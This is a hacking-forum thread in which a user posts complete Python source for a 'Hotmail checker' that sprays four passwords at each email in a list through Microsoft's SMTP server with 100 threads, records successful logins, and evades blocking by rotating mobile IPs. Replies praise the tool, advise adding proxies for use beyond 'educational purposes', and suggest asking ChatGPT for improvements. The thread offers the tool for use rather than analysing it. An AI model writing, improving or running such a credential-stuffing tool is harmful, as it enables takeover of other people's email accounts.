I have made a python hotmail checker, checks each email 4 different passwords. >>
by YadOrez - Tuesday April 23, 2024 at 05:34 PM
#1
I made a hotmail checker. I reset my mobile internet IP/on my phone, to achieve a new IP every 60 seconds.

Anything wrong with this? I ask it to log in to each email in a .txt file with 4 different passwords. Here's the code: 

import os import smtplib import concurrent.futures import logging import time import threading MAX_RETRIES = 10  # Maximum number of retries for each login attempt NUM_THREADS = 100  # Number of concurrent threads (adjust as needed) RETRY_DELAY = 10  # Delay in seconds before retrying after connection interruption LOGIN_TIMEOUT = 30  # Timeout for each login attempt in seconds LOG_FILE = 'successful_logins.txt' ERROR_LOG_FILE = 'error_log.txt' CHECKED_EMAILS_FILE = 'checked_emails.txt' GREEN = "\033[92m"  # ANSI escape code for green text RESET = "\033[0m"  # ANSI escape code to reset text color # Initialize progress statistics accounts_loaded = 0 accounts_checked = 0 accounts_failed = 0 accounts_valid = 0 # Lock for thread-safe access to progress statistics progress_lock = threading.Lock() logging.basicConfig(level=logging.INFO,                     format='%(asctime)s - %(levelname)s - %(message)s',                     handlers=[logging.FileHandler(ERROR_LOG_FILE), logging.StreamHandler()]) # Function to record checked emails def record_checked_email(email, password):     with open(CHECKED_EMAILS_FILE, 'a') as f:         f.write(f"{email}:{password}\n") # Function to load already checked emails def load_checked_emails():     try:         with open(CHECKED_EMAILS_FILE, 'r') as f:             return set(line.strip() for line in f)     except FileNotFoundError:         return set() # Load checked emails at the start checked_emails = load_checked_emails() # Specify the four passwords to try passwords_to_try = ['password1', 'password2', 'password3', 'password4'] def check_credentials(email, password):     retries = 0     while retries < MAX_RETRIES:         try:             smtp_server = smtplib.SMTP('smtp.office365.com', 587, timeout=LOGIN_TIMEOUT)             smtp_server.starttls()             smtp_server.login(email, password)             logging.info(f"Login successful for {email} with password {password}")             with open(LOG_FILE, "a") as log_file:                 log_file.write(f"Login successful for {email} with password {password}\n")             smtp_server.quit()             return True         except smtplib.SMTPAuthenticationError as e:             logging.error(f"Login failed for {email} with password {password}: {e.smtp_error.decode()}")             return False         except (smtplib.SMTPConnectError, smtplib.SMTPServerDisconnected, ConnectionError) as e:             logging.error(f"Connection error occurred for {email} with password {password}: {str(e)}")             retries += 1             time.sleep(RETRY_DELAY)         except Exception as e:             logging.error(f"Unexpected error occurred for {email} with password {password}: {str(e)}")             return False     logging.error(f"Max retries reached for {email} with password {password}. Moving to the next combination.")     return False def process_email(email):     global accounts_checked, accounts_failed, accounts_valid     line_number = threading.current_thread().name  # Get the current thread's name, which is the line number     # Skip processing if email is already checked     if email in checked_emails:         print(f"Email {email} already checked. Skipping...")         return     for password in passwords_to_try:         with progress_lock:             accounts_checked += 1         if check_credentials(email, password):             print(f"{GREEN}Successfully logged in: {email} with password {password}{RESET}")             with progress_lock:                 accounts_valid += 1             record_checked_email(email, password)  # Record the checked email             break  # If login successful, no need to try other passwords         else:             print(f"{GREEN}Failed to login: {email} with password {password}{RESET}")             with progress_lock:                 accounts_failed += 1 def main_worker(emails):     with concurrent.futures.ThreadPoolExecutor(max_workers=NUM_THREADS) as executor:         executor.map(process_email, emails) def update_threads(num_threads):     global NUM_THREADS     NUM_THREADS = num_threads     logging.info(f"Number of threads updated to {NUM_THREADS}") def show_progress():     global accounts_loaded     while True:         time.sleep(1)  # Update progress every second         with progress_lock:             total_emails = accounts_loaded             if total_emails == 0:                 continue             percentage_complete = (accounts_checked / total_emails) * 100             print(f"Progress: {percentage_complete:.2f}% complete | Loaded: {accounts_loaded} | Checked: {accounts_checked} | Failed: {accounts_failed} | Valid: {accounts_valid}")             # Set CMD window title dynamically             os.system(f"title Progress: {percentage_complete:.2f}%") def main_menu():     print("Available commands:")     print("1. Start")     print("2. Pause")     print("3. Set Threads")     print("4. Stop")     print("5. Exit") def start_script(emails):     global accounts_loaded     accounts_loaded = len(emails)     main_worker(emails) def pause_script():     logging.info("Script paused") def set_threads():     num_threads = int(input("Enter the number of threads: "))     update_threads(num_threads) def stop_script():     logging.info("Script stopped") def main():     global checked_emails     file_path = input("Enter the path to the file containing the list of emails: ")     try:         with open(file_path, 'r', encoding='utf-8') as file:             emails_to_check = [line.strip() for line in file if line.strip()]                 # Load checked emails         checked_emails = load_checked_emails()         main_menu()         while True:             choice = input("Enter your choice: ")             if choice == '1':                 start_script(emails_to_check)                 show_progress()             elif choice == '2':                 pause_script()             elif choice == '3':                 set_threads()             elif choice == '4':                 stop_script()                 break             elif choice == '5':                 logging.info("Exiting...")                 break             else:                 print("Invalid choice. Please try again.")     except FileNotFoundError:         logging.error("File not found. Please make sure you enter the correct file path.") if __name__ == "__main__":     main()

Do hotmail block commonly used passwords that are attempted for different emails, on the same IP? Can you share info, this is perhaps a v good script! :-)
Reply
#2
thx much have a nice one.
Reply
#3
(04-23-2024, 05:37 PM)scwwheeler4r Wrote: thx much have a nice one.

Hey! Come back here with my code! Don't leech and expect not to get f*cked up by the hacker government. I already found you.
Reply
#4
It's pretty good if you are simply using it for "educational purposes". My subjective recommendations would be to add:
  • More consistent comments: Your comments are direct but I feel that they are all over the place. I would suggest adding small one line comments over each function.
  • Proxy support: If you plan on using this for anything other than "educational purposes" then proxies are a go-to. As far as I know smtplib does not support proxies unfortunately.


Other than those personal recommendations of mine. It's really good. You've got error handling for specific errors, threading, user input, etc.

Nice work.
Reply
#5
ask chatgpt 4.o you will get better response with it
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  ELECTROPUPPY - HOTMAIL CHECKER monizarr 0 83 02-01-2026, 01:03 PM
Last Post: monizarr
  Wallet Recovery Cryptocurrency Seed Phrases Checker snakeonion 0 80 02-01-2026, 11:27 AM
Last Post: snakeonion
  Hotmail Brute Checker monizarr 1 141 01-31-2026, 12:27 AM
Last Post: SkorpionAC
  SpottiRape Spotify Checker monizarr 0 127 01-26-2026, 07:10 AM
Last Post: monizarr
  Koy 2.0.3 Multi Checker With 28 Modules monizarr 0 122 01-24-2026, 08:19 AM
Last Post: monizarr



 Users browsing this thread: 1 Guest(s)